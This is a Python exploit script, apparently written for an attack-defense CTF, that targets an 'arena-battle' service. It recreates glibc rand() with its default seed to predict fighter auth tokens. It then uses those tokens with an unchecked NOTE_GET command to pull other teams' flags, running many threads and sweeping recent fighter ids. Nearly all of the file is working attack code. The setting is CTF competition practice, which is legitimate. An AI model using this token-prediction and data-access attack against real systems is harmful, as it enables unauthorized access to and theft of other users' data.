#!/usr/bin/env python3
"""
arena-battle (tcp/1337) -- predictable auth tokens.

Bug: create_fighter() builds the token as

    f.auth_token = "token_" + to_string(f.id) + "_" + to_string(rand());

srand() is never called, so glibc rand() runs its default seed-1 sequence.
Fighter ids are sequential, so the Nth fighter gets the Nth output of a
sequence we can compute offline.  NOTE_GET takes only that token -- no
session, no ownership check -- so any token gives us that fighter's notes,
which is where the checker stores flags.

    REGISTER probe warrior      -> tells us the current fighter id (= how many
                                   fighters exist)
    NOTE_GET <token>            -> list note ids + titles
    NOTE_GET <token> <note_id>  -> title + content

Fighter ids come from ForcAD attack data when it is reachable (exact, cheap);
otherwise we sweep back over the most recent ids.

Env overrides: ARENA_PORT, ARENA_LOOKBACK, ARENA_BUDGET, ATTACK_DATA_URL.
"""

import json
import os
import random
import re
import socket
import string
import sys
import time
import urllib.request
from concurrent.futures import ThreadPoolExecutor

PORT = int(os.environ.get("ARENA_PORT", 1337))
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")

# Round is 30s and a flag lives 10 rounds (5 min), so stay well inside one round.
TIME_BUDGET = float(os.environ.get("ARENA_BUDGET", 20.0))
TIMEOUT = 4.0
LOOKBACK = int(os.environ.get("ARENA_LOOKBACK", 200))
INDEX_OFFSETS = (0, -1, 1, -2, 2)   # rand()/id drift from concurrent REGISTERs
THREADS = 10
RECONNECT_AFTER = 12   # some boxes drop a connection after N bad tokens

ATTACK_DATA_URL = os.environ.get(
    "ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data")
SERVICE_HINTS = ("arena", "battle")

TOKEN_RX = re.compile(r"token_\d+_\d+")


# --------------------------------------------------------------------------
# glibc TYPE_3 rand(), default seed 1
# --------------------------------------------------------------------------
def glibc_rand_seq(seed, n):
    total = n + 344
    r = [0] * total
    r[0] = seed & 0xFFFFFFFF
    for i in range(1, 31):
        hi, lo = divmod(r[i - 1], 127773)
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        r[i] = word
    for i in range(31, 34):
        r[i] = r[i - 31]
    for i in range(34, total):
        r[i] = (r[i - 31] + r[i - 3]) & 0xFFFFFFFF
    return [r[i] >> 1 for i in range(344, total)]


# --------------------------------------------------------------------------
# line protocol
# --------------------------------------------------------------------------
class Arena:
    def __init__(self, ip, port=PORT):
        self.sock = socket.create_connection((ip, port), timeout=TIMEOUT)
        self.sock.settimeout(TIMEOUT)
        self.buf = b""

    def cmd(self, line):
        self.sock.sendall(line.encode() + b"\n")
        while b"\n" not in self.buf:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise ConnectionError("closed")
            self.buf += chunk
        out, self.buf = self.buf.split(b"\n", 1)
        return out.decode("utf-8", "replace")

    def close(self):
        try:
            self.sock.close()
        except Exception:
            pass

    def __enter__(self):
        return self

    def __exit__(self, *a):
        self.close()


def rand_name(n=8):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(n))


# --------------------------------------------------------------------------
# ForcAD attack data -> fighter ids / ready-made tokens
# --------------------------------------------------------------------------
def _harvest(obj, ids, tokens):
    """Walk an arbitrary attack-data blob picking out ids and tokens."""
    if isinstance(obj, dict):
        for v in obj.values():
            _harvest(v, ids, tokens)
    elif isinstance(obj, (list, tuple)):
        for v in obj:
            _harvest(v, ids, tokens)
    elif isinstance(obj, bool):
        pass
    elif isinstance(obj, int):
        if 0 < obj < 10 ** 7:
            ids.add(obj)
    elif isinstance(obj, str):
        tokens.update(TOKEN_RX.findall(obj))
        if obj.isdigit() and 0 < int(obj) < 10 ** 7:
            ids.add(int(obj))


def attack_data(target_ip):
    """Returns (fighter_ids, ready_tokens) published for this target."""
    ids, tokens = set(), set()
    try:
        with urllib.request.urlopen(ATTACK_DATA_URL, timeout=3) as r:
            data = json.loads(r.read().decode("utf-8", "replace"))
    except Exception as e:
        print("[*] no attack data (%s)" % e, file=sys.stderr, flush=True)
        return ids, tokens

    # {"service": {"ip": [...]}} / {"ip": {...}} / {"team_id": {...}}
    team_id = target_ip.rsplit(".", 1)[-1]
    scoped = []

    def scope(node):
        if not isinstance(node, dict):
            return
        for key, val in node.items():
            k = str(key)
            if k == target_ip or k == team_id:
                scoped.append(val)
            elif any(h in k.lower() for h in SERVICE_HINTS):
                scope(val) if isinstance(val, dict) else scoped.append(val)

    scope(data)
    for node in scoped:
        _harvest(node, ids, tokens)

    if scoped:
        print("[*] attack data: %d ids, %d tokens" % (len(ids), len(tokens)),
              file=sys.stderr, flush=True)
    return ids, tokens


def probe_max_id(ip):
    """Register a throwaway fighter; its id == number of fighters created."""
    with Arena(ip) as a:
        resp = a.cmd("REGISTER %s warrior" % rand_name())
        m = re.search(r"Registered fighter (\d+)\b", resp)
        if not m:
            raise RuntimeError("unexpected REGISTER reply: %r" % resp)
        tok = re.search(r"TOKEN:(\S+)", resp)
        return int(m.group(1)), (tok.group(1) if tok else None)


class Raider:
    """Walks a list of candidate tokens over one reused connection."""

    def __init__(self, ip, deadline):
        self.ip = ip
        self.deadline = deadline
        self.conn = None
        self.since_reconnect = 0

    def _conn(self):
        if self.conn is None or self.since_reconnect >= RECONNECT_AFTER:
            self.close()
            self.conn = Arena(self.ip)
            self.since_reconnect = 0
        return self.conn

    def close(self):
        if self.conn is not None:
            self.conn.close()
            self.conn = None

    def _cmd(self, line):
        """One command, retrying once on a dropped connection."""
        try:
            self.since_reconnect += 1
            return self._conn().cmd(line)
        except (OSError, ConnectionError):
            self.conn = None
            self.since_reconnect = 0
            return self._conn().cmd(line)

    def raid(self, token):
        """Pull every note behind one token. Returns a set of flags."""
        flags = set()
        listing = self._cmd("NOTE_GET %s" % token)
        if not listing.startswith("NOTES:"):
            return flags
        self.since_reconnect = 0                        # good token, keep the socket
        flags.update(FLAG_RX.findall(listing))          # flag may be the title
        for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]:
            if time.monotonic() > self.deadline:
                break
            flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid))))
        return flags

    def run(self, tokens):
        flags = set()
        try:
            for tok in tokens:
                if time.monotonic() > self.deadline:
                    break
                try:
                    flags.update(self.raid(tok))
                except Exception:
                    pass
        finally:
            self.close()
        return flags


def exploit(target_ip):
    deadline = time.monotonic() + TIME_BUDGET
    flags = set()

    known_ids, ready_tokens = attack_data(target_ip)

    max_id, my_token = probe_max_id(target_ip)
    print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token),
          file=sys.stderr, flush=True)

    seq = glibc_rand_seq(1, max(max_id, max(known_ids) if known_ids else 0) + 64)

    # sanity check: our own token should be seq[max_id - 1] on an unpatched box
    if my_token:
        expected = "token_%d_%d" % (max_id, seq[max_id - 1])
        if my_token != expected:
            print("[!] %s: token mismatch (got %s, expected %s) -- box may be "
                  "patched or rand() drifted" % (target_ip, my_token, expected),
                  file=sys.stderr, flush=True)

    # Ordered by confidence: attack-data tokens, attack-data ids, then a sweep
    # back over the most recent fighters (a flag lives 10 rounds / 5 min).
    candidates = list(ready_tokens)

    def add_id(fid):
        for off in INDEX_OFFSETS:
            idx = fid - 1 + off
            if 0 <= idx < len(seq):
                candidates.append("token_%d_%d" % (fid, seq[idx]))

    for fid in sorted(known_ids, reverse=True):
        add_id(fid)
    for fid in range(max_id - 1, max(1, max_id - LOOKBACK) - 1, -1):
        add_id(fid)

    seen = set()
    candidates = [t for t in candidates if not (t in seen or seen.add(t))]

    chunks = [candidates[i::THREADS] for i in range(THREADS)]

    def work(chunk):
        return Raider(target_ip, deadline).run(chunk)

    with ThreadPoolExecutor(max_workers=THREADS) as pool:
        for got in pool.map(work, [c for c in chunks if c]):
            flags.update(got)

    print("[*] %s: %d flags in %.1fs" % (target_ip, len(flags),
                                         TIME_BUDGET - (deadline - time.monotonic())),
          file=sys.stderr, flush=True)
    return flags


def main():
    if len(sys.argv) < 2:
        print("Usage: %s <target_ip>" % sys.argv[0], file=sys.stderr, flush=True)
        sys.exit(1)

    target_ip = sys.argv[1]

    try:
        found = exploit(target_ip)
    except Exception as e:
        print("[-] Exploit error for %s: %s" % (target_ip, e), file=sys.stderr, flush=True)
        found = set()

    for flag in found:
        flag = str(flag).strip()
        if FLAG_RX.fullmatch(flag):
            print(flag, flush=True)


if __name__ == "__main__":
    main()